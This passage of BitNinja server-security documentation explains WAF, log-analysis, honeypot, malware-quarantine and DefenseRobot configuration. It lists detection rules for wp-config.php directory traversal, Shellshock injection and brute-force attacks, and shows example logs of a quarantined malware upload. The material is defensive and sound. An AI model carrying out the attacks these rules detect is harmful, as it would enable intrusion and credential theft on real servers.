4. Enable active protection on some domains: If the WAF works well in Log only mode, there is a high chance it will work well in Active protection mode, too. You can enable the Active protection on some domains where you see security problems or outdated CMS versions. I recommend to use the default rule settings we provide, but you can change the settings, too if you want. We will keep updating the rules.

5. Activate global protection: The last step is to turn on the Active protection on a server level, and use the per domain settings to create exceptions. For example, if there are false positives on one website because of a default rule, it is better to disable that rule only on that domain, so you can keep the protection level high on all other sites. Or you can even choose to completely disable the protection on a domain, or use more strict settings then the defaults.

Relation to other modules

The WAF module is sending incidents to the Shogun and AntiFlood module.

Log files

There are two different logs related to the WAF 2.0 module. You can find the logs of the BitNinja module responsible for managing the nginx + lib-mod_security here: /var/log/bitninja/mod.waf_manager.log

The logs generated by nginx + lib-mod_security part of the WAF is located here: /var/log/bitninja-waf

The detailed logs about triggered rules are located under /var/log/bitninja/WAFManager

The log files are automatically rotated if you have logrot installed on your server. We ship the log rotating rules with BitNinja.

You can use https://admin.bitninja.io/ipmanager/analyze to inspect the latest WAF 2.0 events.

Modifying Nginx reverse proxy settings

We’ve tried to create a globally working Nginx reverse proxy configuration, but sometimes you may need to modify some settings.

You can change the global Nginx configuration by creating an nginx config file that matches the /opt/bitninja-waf/etc/local_configs/global_*.conf glob file pattern.

You can even change the settings for only a specific location, if you create configuration files matching the /opt/bitninja-waf/etc/local_configs/<LOCATION_PATTERN_CONFIG_HASH>_*.conf glob file pattern.

A LOCATION_PATTERN_CONFIG_HASH is a 16 character long hash, containing numbers and characters of the English alphabet. E.g.: 098f6bcd4621d373

This hash is generated when you create a location pattern on the Dashboard. You can find yours – if needed – in the /opt/bitninja-waf/etc/nginx.conf file.

The created local configuration files need to be valid Nginx configuration files. You can check whether your configuration file’s syntax is correct with the following command:

service bitninja-waf configtest

Configuration changes can be reloaded with:

service bitninja-waf reload

FAQ

Is it production ready?

We have tested the new WAF 2.0 on more than 100 production web servers in the last 4 months of alpha test period without any problems. Many new features and bugfixes have been applied on it through the alpha period and now the module is ready for production deployments.

How can I handle false positives?

If you have found a false positive you have multiple choiches to handle it. The recommended method is to create a domain pattern and disable the rule causing false positive.

You can also decide to create a domain pattern to manage the false positive on multiple domains, too. For example, let’s say a rule is causing false positive on every WordPress sites with a module called my_module. You can create a domain pattern like this:

/modules/my_module/

and deactivate the rule causing false positive.

As a last resort you can decide to change the default pattern, too. The / pattern matches every request that is not matched by any other domain pattern and you can change which rules are applied on it, just like any other domain pattern.

Does the WAF 2.0 work on AWS or Azure?

Yes, it does, and you only need to configure all the interfaces that the WAF 2.0 should listen on in the /etc/bitninja/WAFManager/config.ini file in the section called [redirect_options]:

You can check your interfaces using the following command:

ip -4 -f inet addr show

You should change the interface’s name in the config.ini according to your own settings, and remove the comment character from the start of the line, like this:

;
; Enable WAF on Interfaces only.
; The default redirection option is for public ips only.
;
[redirect_options]
interface[]='eth0'

After you’ve saved the config file, restart the WAF 2.0 module with:

bitninjacli --module=WAFManager --restart

Sense Log (Log Analysis)

This module is responsible for analyzing log files on your server and responding with the appropriate actions upon any malicious activity found. New log files are added constantly for auto-detecting. We first apply new log analyzer rules in test mode. All test incidents generated this way will be analyzed for false positives, so we can keep the rate low. These incidents will not show up on the dashboard.

BitNinja can find log files in the following paths at the moment:

Apache access logs

  • Debian / Ubuntu default path – /var/log/apache2/access.log
  • RHEL / Red Hat / CentOS / Fedora Linux default – /var/log/httpd/access_log
  • FreeBSD default – /var/log/httpd-access.log
  • /home/accesslog/access.log
  • Plesk vhosts at – /var/www/vhosts/[domain]/statistics/log/access_log
  • /var/www/vhosts/[domain]/system/log/access_log
  • Virtualmin vhost logs at – /var/log/virtualmin/*access_log
  • cPanel logs at /usr/local/apache/logs/access_log
  • cPanel per user logs at /usr/local/apache/domlogs/
  • DirectAdmin vhost logs
  • /var/log/httpd/domains/

Apache error logs

  • Debian /var/log/apache2/error.log
  • CentOS /var/log/httpd/error_log
  • FreeBSD /var/log/httpd-error.log
  • Plesk vhosts error logs – /var/www/vhosts/[domain]/statistics/log/error_log
  • /var/www/vhosts/[domain]/system/log/error_log
  • Virtualmin vhosts error logs
  • cPanel error logs at /usr/local/apache/logs/error_log

NginX access logs

  • /var/log/nginx/access.log

NginX error logs

  • /var/log/nginx/error.log

System-wide logs

  • Debian /var/log/auth.log
  • CentOS /var/log/secure
  • /var/log/messages

cPanel logs * /usr/local/cpanel/logs/login_log

Exim4 logs

  • Debian /var/log/exim4/mainlog
  • CentOS /var/log/exim/main.log
  • cPanel, Plesk /var/log/exim_mainlog

Postfix logs

  • /var/log/maillog
  • /var/log/mail.log

ProFTP logs

  • /var/log/proftpd/proftpd.log

VsFtp logs

  • /var/log/vsftpd.log

MySQL logs

  • Based on the files opened by the MySQL processes; it’s name should end with .err

Configuration

You can find the configuration file for this module at /etc/bitninja/SenseLog/config.ini .

Disabling rules

BitNinja has several supervisors, each of these are responsible to recognise a specific attack and ban the origin IP

On the code snippet below, you can see how to disable supervisors.

;
; Example: Enable/Disable Supervisors
;
[supervisor]

disabled[] = 'ApacheNoscript'
disabled[] = 'FtpVsftpd'

The list of available supervisors

  • ApacheAbdul protects against attacks with abdullkarem in the request string. For further information, see our blog post .
  • ApacheE107 finds directory traversal attacks for vulnerable E107 installations.
  • ApacheGooglemap2 prevents reflective DDoS attacks via plugin_googlemap2.
  • ApacheJoomla recognises and prevents Autoshell upload attempts.
  • ApacheJoomlaLogin prevents brute-force attacks against Joomla sites.
  • ApacheMagento protects against Magento vulnerabilities including directory traversal using magmi.php.
  • ApacheParentDenied gives protection agains a broad range of directory traversal attacks.
  • ApacheRecommendedSite prevents spamming attempts of a known botnet.
  • ApacheShellshockFilter protects against code injection over Shellshock.
  • ApacheSuspiciousUserAgent finds requests from well-known tools based on the user agent.
  • ApacheWpConfig is used against directory traversal attacks targeting wp-config.php.
  • ApacheWpEnumeration prevents WordPress user enumeration attacks.
  • ApacheWpLogin prevents brute-force attacks against WordPress-based sites.
  • ApacheWpXmlrpc prevents reflective DDoS attacks via xmlrpc.php.
  • ApacheWpXmlrpcSuspiciousUserAgent quickly prevents brute-force attacks from a known bot.
  • CpanelLogin protects cPanel accounts from brute-force attacks.
  • FtpProftpd prevents brute-force attacks against ProFTP servers.
  • FtpPureftpd prevents brute-force attacks against PureFTP servers.
  • FtpVsftpd prevents brute-force attacks against VsFTP servers.
  • MysqlLogin prevents brute-force attacks against MySQL servers.
  • NginxHttpAuth protects sites with basic HTTP authentication against brute-force attacks.
  • PostfixLogin prevents brute-force attacks against Postfix servers.
  • SshdLoginfail prevents brute-force attacks against OpenSSH servers.

Specifying custom log paths

Custom log paths can be added to every available log detector via these lines. Please don’t add rotated log files to paths, because it will duplicate incidents, which causes anomalies in your statistics. Please also note that SenseLog is only able to handle 3000 – 4000 log files for the time being. Above this number SenseLog might crash and retry to detect log files. This issue and limitation will be solved shortly.

;
; Custom log paths for LogDetectors
; The ini array 'logpathes' can be path to a file or a pattern, like: /var/log/vhost_*/*_access.log .
; This pattern will load all matching logfiles to the monitored list.
;

[ApacheAccess]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'


[ApacheError]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[Auth]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[CpanelLogin]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[Exim]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[FtpProftpd]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[FtpPureftpd]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[FtpVsftpd]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[MysqlError]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[NginxError]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

[PostfixLogin]
;logpathes[] = '/path/to/your/log'
;logpathes[] = '/path/to/your/log2'

SenseLog configurations can be reloaded via BitNinja CLI, without restarting BitNinja. This will make your changes applied instantly.

bitninjacli --module=SenseLog --reload

Web Honeypot

Module name: SenseWebHoneypot

Honeypotting is a security technique where you set up a system or subsystem to pretend that there is a vulnerable service available. The attacker, hacker, or bot will easily see that there is a vulnerability and will try to abuse it. As the honeypot is not providing the service it advertises in reality, it will rather collect the attack data and block the attack. This technique is similar for setting up traps against your enemies. This is very effective against both automatized and targeted attacks.

This module is responsible for setting up such honeypot traps on your PHP based websites.

How can you implement a web honeypot?

It is quite easy and straightforward. Create a PHP file with this content:

 <?php

/*
 *   BitNinja Server Security
 *   All rights reserved.
 *   https://bitninja.io
 *
 *   @author       Zsolt Egri <ezsolt@bitninja.io>
 *   @copyright    C 2014 Web-Server Kft
 *   @package      BitNinja
 *   @subpackage   HoneypotHttp
 *   @version      1.0
 */


/*
 * Function to send request data to the SenseWebHoneypot module of BitNinja.
 */
function sendData()
{
    $socket = stream_socket_client("tcp://127.0.0.1:60099", $errno, $errorMessage);
    stream_set_timeout($socket, 1, 0);
    socket_set_blocking($socket, 1);
    if ($socket === false) {
        return FALSE;
    }
    $dataToSend = json_encode(array(
        'server' => $_SERVER,
        'post' => $_POST,
        'get' => $_GET,
        'file' => __FILE__,
        'pid' => getmypid(),
        'uid' => getmyuid()
    ));
    while (strlen($dataToSend)!==0)
    {
        $bytesWritten = fwrite($socket, $dataToSend);
        $dataToSend = substr($dataToSend, $bytesWritten);
    }
    fclose($socket);
    return TRUE;
}
?>
<!-- Your content should go here... -->
<html>
    <head>
        <title>BitNinja Honeypot</title>
    </head>
    <body>
        This is a honeypot file. Please leave it.
    </body>
</html>
<?php
    /*
     * Finaly, we flush the output - send the content to the client - and
     * call the sendData() function to send the request to BitNinja.
     */
     flush();
     sendData();
?>

Of course you can combine this code as you like. You are able to set up your own logic regarding what is considered malicious. These incidents will be sent to the web honeypot module, greylisting the offending IP on all your servers. This example code can be found at /opt/bitninja/modules/SenseWebHoneypot/examples/example_honeypot_file.php. To use it:

  1. copy it where the attacker can reach it.
  2. rename it to something interesting like admin_login.php
  3. change the owner to the proper web user
  4. done 🙂

Happy hacker hunting!

Port Honeypot

Module name: PortHoneypot

This is a general honeypot module. This module will set up to 100 honeypots on your server on random ports chosen from the 1.000 most popular ports. This module will detect if someone does a deep port scan on your server (except syn stealth scan and some others). The module will also capture any traffic on these honeypots and reply to the requests, so when the attacker tries to exploit one of these fake services, it will generate incidents. This is a very effective way to catch early on both direct attacks and botnet activities.

The module does not bind on actual ports, but binds on a port above 60.000 and uses iptables rules to forward from the actual ports. We use this to avoid any port from being blocked from real services. If a daemon starts listening a honeypot port, the module will automatically stop using that port as honeypot. When the module starts, it also lists all the open sockets in listening mode and won’t start honeypot on active ports. This way the module will automatically avoid any collision with real services. If you want, you can set ports to always use for honeypot purposes and you can set up ports that you never want to be used as a honeypot.

For some protocols we have implemented chat scripts. Chat scripts are used for faking services even more realistically. For example, in case of the telnet protocol (an old protocol, usually listens on port 23), if you try to open the honeypot created by BitNinja, you will see a prompt and a default message like this:

This is an unrestricted telnet server.
Please do not use for production purposes

#

The attacker will think that this is an open telnet session for the server and will probably try to download malware and do other malicious activities. All the information will be collected by BitNinja and sent to the BitNinja center. The offending IP will be greylisted. All greylisted IPs can still connect to honeypots, but all other real services are blocked (except the CAPTCHA services).

We keep improving the chat scripts for the different protocols so we can get more information from the attackers and use this information to further tweak the BitNinja protection system. Currently we have chat scripts for these protocols:

  • FTP (21)
  • telnet (23)
  • SMTP (25)
  • IMAP (143)
  • POP3 (110)

The chatscripts are stored at /opt/bitninja/modules/PortHoneypot/lib/ChatScriptFactory.php Do you feel like you could contribute by implementing further protocols? Feel free to send us your chat script file so we can include it in the next BitNinja version. In the case of ports without a chatscript, the system chooses a chatscript randomly, so don’t be surprised if you find ftp, telnet, smtp, imap, and pop3-like services everywhere on your server. They are not real services, just honeypots 🙂

Configuration

Here is how to set up a list of ports to be used as honeypots and the list of ports you never want to be used for honeypot purposes.

Config file location: /etc/bitninja/PortHoneypot/config.ini

;
; List of ports that will always be honeypotted
;
[ports_always_use]
ports[]=21
ports[]=23
ports[]=53

;
; List of ports the module will never use for honeypot purposes
;
[ports_never_use]
ports[]=80
ports[]=25
ports[]=22
;
; Starting port for Porthoneypot.
; If you experience ftp issues when using Porthoneypot, it could be because ftp is trying
; to create data connection port on one of the ports that Porthoneypot is using.
; To solve this issue, you can restart ftp service to recognize used ports or set
; ftp passive port range and PortHoneypot startport to not intercept each other.
;
[startport]
startport=60500
;
; You can control how many additional random honey ports should be started. Default value is 100.
;
[random_mines]
random_mines=100

Happy hacker hunting!

Malware Detection

BitNinja has an excellent module for file-based malware detection. If attackers can break through the defense line of honeypots and the web application firewall, malware detection is the next line of defense to stop them infecting your server. It is also very useful to scan your server if you just started to use BitNinja for the first time, as there could be different malwares and backdoor programs on your server. Cleaning your files is vital.

We ship new malware definition files automatically so it is always up to date without any manual intervention.

Prerequirements

The module uses the inotify-tools package to monitor the filesystem for changes. You need this package to be available before you can use the module. We ship our own inotify-tools package with BitNinja to ensure the installation. If you need to install inotify-tools manually for some reason, please follow the steps stated in “Optional: manual installation of inotify-tools”

Before you enable the Malware Detection module, there are some steps you have to follow on your server to prepare it for the launch of the module.

On most servers, default number of user watches have to be expanded from the default to a much higher number. BitNinja Linux Client increases it automatically up to 30000000.

If it is not large enough, you can increase it manually, e.g.:

echo 35000000 > /proc/sys/fs/inotify/max_user_watches

Now check if everything is ready to start the malware detection module:

cat /proc/sys/fs/inotify/max_user_watches
// This should be the result:
// 30000000
whereis inotifywait
// Something similar should be the result
// inotifywait: /usr/bin/inotifywait /usr/bin/X11/inotifywait /usr/share/man/man1/inotifywait.1.gz

// check if inotify-tools is on the latest version
// on deb-based systems
dpkg-query --showformat='${Version}' --show inotify-tools
// on rpm-based systems
rpm -q --qf "%{VERSION}\n" inotify-tools
// result: 3.14-2

You are ready to start the malware detection module now! Before lauching the module please read through the configuration section to prepare the module.

Configuration

To change the default configurations of the malware detection module you have to edit the module config file at /etc/bitninja/MalwareDetection/config.ini. We always try to set up reasonable defaults for our config files so you don’t have to mess with configs, but in this case there are some configurations you are probably willing to do before starting the module.

Example content for the config.ini file:

; Core settings
;
[core]
; do not check files over scan_max_file_size bytes
;scan_max_file_size = 786432 ; 768 KB 1048576 ; 1 MB
; scan process CPU scheduling priority
;scan_cpunice = 19
; scan process IO scheduling priority
;scan_ionice = 6
; move malicious file to quarantine; enabled|disabled
quarantine = 'enabled'
; replace malware to honeypot; enabled|disabled
honeypotify = 'enabled'
; if replace is enabled, this file will be copied instead of malware
;honeypot_file = '/opt/bitninja/modules/SenseWebHoneypot/examples/example_honeypot_file.php'

;
; File whitelist settings
;
[whitelist]
; do not scan files match these extensions
;extensions[] =
; do not scan files match these path definition expressions
;paths[] = '/var/lib/bitninja'
;paths[] = '/var/log/bitninja'
;paths[] = '/var/cache/awstats'
;paths[] = '/opt/bitninja'
;paths[] = '/bin'
;paths[] = '/sbin'
;paths[] = '/lib'
;paths[] = '/lib32'
;paths[] = '/usr/bin'
;paths[] = '/usr/sbin'
;paths[] = '/usr/lib'
;paths[] = '/usr/lib32'
;paths[] = '/home/accesslog'
;paths[] = '/home/virtfs'
;paths[] = '/home/cagefs-skeleton'
;paths[] = '/usr/share/cagefs-skeleton'
;paths[] = '/home/cpeasyapache/src'
;paths[] = '/proc'
;paths[] = '/dev'
;paths[] = '/sys'
; do not scan files match these types based on file command
;types[] =

;
; Inotify settings
;
[inotify]
; ignore files match these path definition expressions ; e.g: .log
;exclude[] = '^/var/tmp/mysql.sock$'
;exclude[] = '^/tmp/mysql.sock$'
;exclude[] = '^/var/cache/buagent/md0.cache.data$'
;exclude[] = '^/var/tmp/#sql_.*\.MYD$'
;exclude[] = '^/tmp/#sql_.*\.MYD$'
;exclude[] = '^/tmp/#sql_.*\.MYI$'
;exclude[] = '^/tmp/#sql_.*\.MAD$'
;exclude[] = '^/tmp/#sql_.*\.MAI$'
;exclude[] = '^/tmp/lshttpd/*\.sock*'
;exclude[] = '^/tmp/lshttpd/\.rtreport\.*'
;exclude[] = '^/var/tmp/clamav-.*'
;exclude[] = '^/tmp/clamav-.*'
;exclude[] = '^/var/lib/bitninja'
;exclude[] = '^/var/log/bitninja'
;exclude[] = '^/var/cache/awstats'
;exclude[] = '^/usr/local/maldetect/quarantine'
;exclude[] = '\.sock$'
;exclude[] = '\.log$'
;exclude[] = '^.*_log$'
;exclude[] = '^.*_log\.processed$'
;exclude[] = '^.*_ssl_log\.webstat$'
;exclude[] = '^/home/accesslog'
;exclude[] = '^/home/virtfs'
;exclude[] = '^/home/cagefs-skeleton/'
;exclude[] = '^/usr/share/cagefs-skeleton/'
;exclude[] = '\.sock$'
;exclude[] = '^/home/.*?/mail/'
;exclude[] = '^/home/cpeasyapache/src/'
;exclude[] = '^/var/tmp/clamav-.*'
;exclude[] = '^/var/lib/bitninja/quarantine$'

; inotify monitoring array
; This is were you can define what to be monitored by the
; malware detection module.
;file_path[] = '/tmp'
;file_path[] = '/home'
;file_path[] = '/var/www'

Quarantine behaviour

The quarantine behaviour depends on a setting in the module’s config.ini file. If the ‘quarantine’ option is enabled, BitNinja moves the infected file to quarantine.

You can find the quarantine directory here: /var/lib/bitninja/quarantine so you can restore any files if you need. This module is also integrated with another BitNinja module, the WebHoneypot module (you can read more about the web honeypot module here: Web honeypot). When a botnet attacks your system it will try to infect your files. If you only quarantine the file, the botnet will try to upload other malware and other variations of the infection and will eventually succeed and infect your system. If the ‘honeypotify’ config option is enabled, the module will automatically copy a honeypot file in place of the original malware. This way when the botnet comes back to check the operation of the malware infection, the honeypot will collect the IP address of the attacking bot and add it to the greylist, immediately protecting all your servers against this attacker.

Example quarantine directory structure:

├── var
│   ├── lib
│   │   ├── quarantine
│   │   │    ├── 2016
│   │   │    │    ├── 12
│   │   │    │    │    ├── 10
│   │   │    │    │    ├── 17
│   │   │    ├── 2017
│   │   │    │    ├── 01
│   │   │    │    ├── 02
│   │   │    │    │    ├── 01
│   │   │    │    │    ├── 05
│   │   │    │    │    ├── 10
│   │   │    │    │    ├── 17
│   │   │    │    ├── 03
│   │   │    │    │    ├── 12
│   │   │    │    │    ├── 13

Example quarantinized malware information…

7650_jquery94.php 7650_jquery94.php.info

… where file with .info extension contains information about the malicious file (original owner, group, file permissions, file path, malware name, file size, create time), while the other is the malicious file itself. Both files are prefixed with a unique identifier.

Disabling the quarantine functionality

If you’d like to disable the quarantine behavior of the Malware Detection module, you have to change a setting in the module’s config.ini file:

  1. Locate the config file at /etc/bitninja/MalwareDetection/config.ini
  2. Look for the Core settings section
  3. Insert this line after the last [core] setting (e.g. the honeypot_file setting)
quarantine = 'disabled'

The example config.ini file’s core section should look something like this:

; Core settings
;
[core]
; do not check files over scan_max_file_size bytes
;scan_max_file_size = 786432 ; 768 KB 1048576 ; 1 MB
; scan process CPU scheduling priority
;scan_cpunice = 19
; scan process IO scheduling priority
;scan_ionice = 6
; replace malware to honeypot; enabled|disabled
honeypotify = 'enabled'
; if replace is enabled, this file will be copied instead of malware
;honeypot_file = '/opt/bitninja/modules/SenseWebHoneypot/examples/example_honeypot_file.php'
quarantine = 'disabled'

Whenever you’d like to enable the quarantine function again, you should simply change the quarantine setting to ‘enabled’.

bitninjacli --module=MalwareDetection --reload

Scan path

The most important config change you will probably do is defining what directories the module should monitor for file changes. The defaults are the /tmp, /home and /var/www directories, but you can add any other directories by defining new paths. For example:

file_path[] = '/var'

Exclude patterns

You can define patterns to be excluded from being scanned. This is useful to exclude files like log files.

exclude[] = '/var/www'

Don’t forget to reload the configuration of Malware Detection after altering it for the settings to take effect.

Module initialization

When the Malware Detection module starts at the first time (or any time the inotifywait process stops or is killed) the system have to reinitialize the inotify process. This is a very CPU and disc intensive process and can take hours to finish. (It should traverse all directories and set a flag on them to be monitored. Sorry, this is how the Linux kernel handles the inotify functionality.)

You can find the module logs at /var/log/bitninja/mod.malware_detection.log

Manual scanning

BitNinja is continuously listening for file changes, but you are also able to run manual scanning with the CLI tool. E.g. in order to look after malware in the /var/www folder, use this command:

bitninjacli --module=MalwareScanner --scan=/var/www

If you’d like to cancel a malware scan that’s already been started, you can do it using the following command:

bitninjacli --module=MalwareScanner --cancel

Manual scanning works fine without installing inotify-tools.

Restoring files from quarantine

You can manually restore files from the quarantine using the following command:

bitninjacli --restore=/path/to/file

Post-detection, post-quarantine and post-honeypotify scripts

You can implement your own business logic to run after each detected malware. You should write your own scripts in an .sh file and place it in the /etc/bitninja/MalwareDetection/detection.conf.d folder.

For post-detection scripts, name your file using the pd_ prefix, e.g. like this: pd_my_script.sh. These scripts will run immediately after the module detects an infected file.

For post-quarantine scripts, the prefix should be pq_, e.g. pq_my_script.sh. These scripts will be executed after the module moves the malware file to quarantine.

For post-honeypotify scripts, the prefix should be ph_, e.g. ph_my_script.sh. Scripts that start with ph_ will run after the module replaces the infected file with a honeypot file.

Example for a post-detection script: pd_example.sh

#!/bin/bash

# This post detection script just echoes out the path to the detected malware

echo "Malware found at path [$1] Malware name is [$2]" > /path_you_wish_to_save_outcome/malware.txt

 

Optional: manual installation of inotify-tools

Install inotify-tools on .DEB based systems

apt-get update && apt-get install inotify-tools

Install inotify-tools on .RPM based systems

yum --enablerepo=epel install inotify-tools

This will install the inotify-tools package on your server so the module can use it.

Defense Robot

If you want to use the DefenseRobot module, first you have to activate it with the following command:

bitninjacli --module=DefenseRobot --enabled

After enabling, the module will wait for events coming from the MalwareDetection module, e.g. when a malware has been found. With this information in hand, the module tries to find log lines related to the malware upload within the configured time window, which is 30 seconds before the malware is changed (ctime).

The default watched logs for this module is found in SenseLog’s LogDetector categories, which are collected in the following order:

  1. xferlog
  2. PureFtpd logs
  3. vsftpd logs
  4. Apache access logs
  5. Nginx access logs
  6. cPanel access logs
  7. Plesk access logs
  8. WAF access logs

These categories hold various techniques for detecting log files. E.g.: XferLog tries to detect and find log files at paths:

  • /var/log/proftpd/xferlog
  • /var/log/xferlog
  • /var/log/plesk/xferlog

If relevant information has been found in these log files, various actions can be performed using the correlation information.

These actions are the following (for now):

  • SendToShogun: Creates a BL_BN_LOG type incident with log only type. It will not greylist IPs, but we’ll have the information about the attacker. It’s enabled by default.
  • LogToFile: Save the correlation information about the incident to /var/log/bitninja/correlations/YYYY/MM/DD/hh_mm_uniqid folder. It’s enabled by default.
  • GreyList: Changes the SendToShogun action’s incident level to a valid incident. The IPs will be greylisted and the incident level will not be log only. It’ll be enabled by default after the test period.
  • SaveUnFilteredLoglines: Saves every log line in the time window. E.g: HTTP access logs will contain GET, HEAD, PUT request lines too. IPs in these lines will not trigger any incidents, but it can help to find out what happened on the system during that time. It’s disabled by default.
  • CollectUnWatchedLogs: SenseLog has other LogDetectors, like Auth, Exim, PostfixLogin. With this action these log lines will be collected too, but IPs found in them will not trigger any incidents. It’s disabled by default.

New actions will be implemented in the near future.

These options can be changed in the module’s configuration file which is located at /etc/bitninja/DefenseRobot/config.ini

Configuration options

[core]
time_window = 30

[actionManager]
actions[] = 'SendToShogun'
actions[] = 'LogToFile'
;actions[] = 'GreyList'
;actions[] = 'SaveUnFilteredLoglines'
;actions[] = 'CollectUnWatchedLogs'

;
; Change Control Panel/FTP user password
; Not Implemented yet
;
;actions[] = 'ChangePassword'
;
; Automatically WAF Honeypotify abused domain/uri
; Not Implemented yet
;
;actions[] = 'WAFHoneypotify'

HowTos

When the module is triggered and it finds something useful in the logs, the Agent will send a BL_BN_LOG type incident about the collected IPs and log lines. You can check these incidents under the Network Attacks menu in the Dashboard.

../_images/defense_robot_network_attacks_log_incidents.jpgExample:

../_images/defense_robot_example_incident.jpg
Now a new folder will be created at: /var/log/bitninja/correlations/YYYY/MM/DD/hh_mm_uniqid

ls -la /var/log/bitninja/correlations/2019/02/13/04_08_5c638a2c033ab/
összesen 24
drwx------ 2 root root 4096 febr  13 04:08 .
drwx------ 3 root root 4096 febr  13 04:08 ..
-rw------- 1 root root  144 febr  13 04:08 domains.txt
-rw------- 1 root root   13 febr  13 04:08 extracted_ip_ApacheAccess.txt
-rw------- 1 root root  746 febr  13 04:08 malware_info.txt
-rw------- 1 root root  396 febr  13 04:08 raw_ApacheAccess.log


/var/log/bitninja/correlations/2019/02/13/04_08_5c638a2c033ab# cat *
{
    "\/home\/test\/web": {
        "0": "example.com",
        "2": "ftp.example.com",
        "3": "www.example.com"
    }
}
1.2.3.4
{
    "user": "test",
    "group": "test",
    "rights": "0644",
    "path": "\/home\/test\/web\/language\/administrator\/components\/com_admin\/views\/help\/tmpl\/x-max.php",
    "dir": "\/home\/test\/web\/language\/administrator\/components\/com_admin\/views\/help\/tmpl",
    "file_name": "x-max.php",
    "malware_name": "{HEX}php.malware.magento.572",
    "size": 18293,
    "created": "2019-02-13 04:08:27",
    "date_found": 1550027307,
    "info_file_id": 17337,
    "access_time": "2019-02-13 04:08:27",
    "modification_time": "2019-02-13 04:08:27",
    "file_hash": "27efac09763109655d7e35d9f6bd0705",
    "quarantine": 1,
    "honeypot": 1,
    "quarantined_path": "\/var\/lib\/bitninja\/quarantine\/2019\/02\/13\/17337_x-max.php"
}
/var/log/access.log
example.com 1.2.3.4 - - [13/Feb/2019:04:08:26 +0100] "POST /language/administrator/components/com_admin/views/help/tmpl/common.php HTTP/1.1" 200 1220 "http://example.com/language/administrator/components/com_admin/views/help/tmpl/common.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36"

In the file domains.txt we can find the potentially affected domains, sorted by their web roots. By concatenating the document root and the uri in the post request, we can inspect the file being used for upload, like:

/home/test/web/language/administrator/components/com_admin/views/help/tmpl/common.php

After inspecting the file, we can make the following actions:

  • webhoneypotify with the following BitNinja Cli command:
bitninjacli --webhoneypot --file=/path/to/file
  • If the whole file is a malware, we can add it to our local md5 signature set with the following command:
bitninjacli --add-file-to-signature-set=/path/to/malware

If an infection already happened, most of the time there are another infected files on the server as well. (Finding the ultimate malware detector is the Holy Grail of the industry.) But we can try to find files in the web root that have been changed recently to find additional infections. BitNinja Cli has a useful script for this:

/opt/bitninja/modules/Cli/scripts/find_recent_changed_file_in_dir.sh

When an account has been compromised it’s a good place to start to list recently modified files:

  • First parameter should be the folder we want to search in.
  • Second parameter specifies the last x days in ctime for files that we want to investigate.
  • Third parameter is optional: if we don’t specify it, the script will start finding modified files from where the modification time (ctime) is today, until the number of days specified in the second parameter. But if we specify a number here, it will start from “today minus x days” old files.

Example usage: find all files in /home directory, which have been modified in the last 30 days, but start with the ones that are older than 10 days.

The command is:

find_recent_changed_file_in_dir.sh /home 30 10

Running this script could produce results like the following:

/opt/bitninja/modules/Cli/scripts/find_recent_changed_file_in_dir.sh /home/test/web 10

List files modified in the last 10 days!

### Modified 0 days ago:
### =====================
### format: file mime-type | stats (mtime ctime user group) | md5sum
text/x-php | 2019-02-13 15:46:41.727556356 +0100 2019-02-13 15:46:41.727556356 +0100 test test | 5791463245e719f288c3230723d2251f  /home/test/web/index.php
text/x-php | 2019-02-13 12:29:51.910984794 +0100 2019-02-13 12:29:51.914984795 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/plugins/user/profile/fields/include.php
text/x-php | 2019-02-13 12:29:00.190982291 +0100 2019-02-13 12:29:00.194982291 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/administrator/components/com_xmap/models/fields/modal/config.php
text/x-php | 2019-02-13 12:29:00.790982320 +0100 2019-02-13 12:29:00.794982321 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/administrator/components/com_languages/models/forms/configure.php
text/x-php | 2019-02-13 12:29:01.098982335 +0100 2019-02-13 12:29:01.102982335 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/administrator/components/com_akeeba/sql/updates/sqlsrv/include.php
text/x-php | 2019-02-13 12:29:02.694982412 +0100 2019-02-13 12:29:02.698982413 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/administrator/templates/system/components.php
text/x-php | 2019-02-13 12:29:51.702984784 +0100 2019-02-13 12:29:51.706984785 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/modules/mod_psdn_moonphase/common.php
text/x-php | 2019-02-13 12:29:13.166982919 +0100 2019-02-13 12:29:13.170982919 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/components/com_mailto/views/sent/includes.php
text/plain | 2016-12-28 10:29:15.000000000 +0100 2019-02-13 10:29:15.790634587 +0100 test test | 529c4073205ec840b03cab91862b1508  /home/test/web/.htaccess
text/plain | 2019-02-13 13:21:35.915135019 +0100 2019-02-13 13:21:35.915135019 +0100 root root | a35e920b60833824ebd1eb609897e8a3  /home/test/web/google_hk_bot
text/x-php | 2019-02-13 12:29:49.814984693 +0100 2019-02-13 12:29:49.818984693 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/libraries/f0f/view/menus.php
text/x-php | 2019-02-13 12:29:50.106984707 +0100 2019-02-13 12:29:50.110984707 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/libraries/f0f/string/settings.php
text/x-php | 2019-02-13 12:38:12.683009030 +0100 2019-02-13 12:38:12.687009031 +0100 test test | ce965abb67fa10dbf9adeea08632d5ff  /home/test/web/language/index.php
text/x-php | 2019-02-13 12:29:44.854984454 +0100 2019-02-13 12:29:44.862984453 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/administrator/modules/mod_menu/menus.php
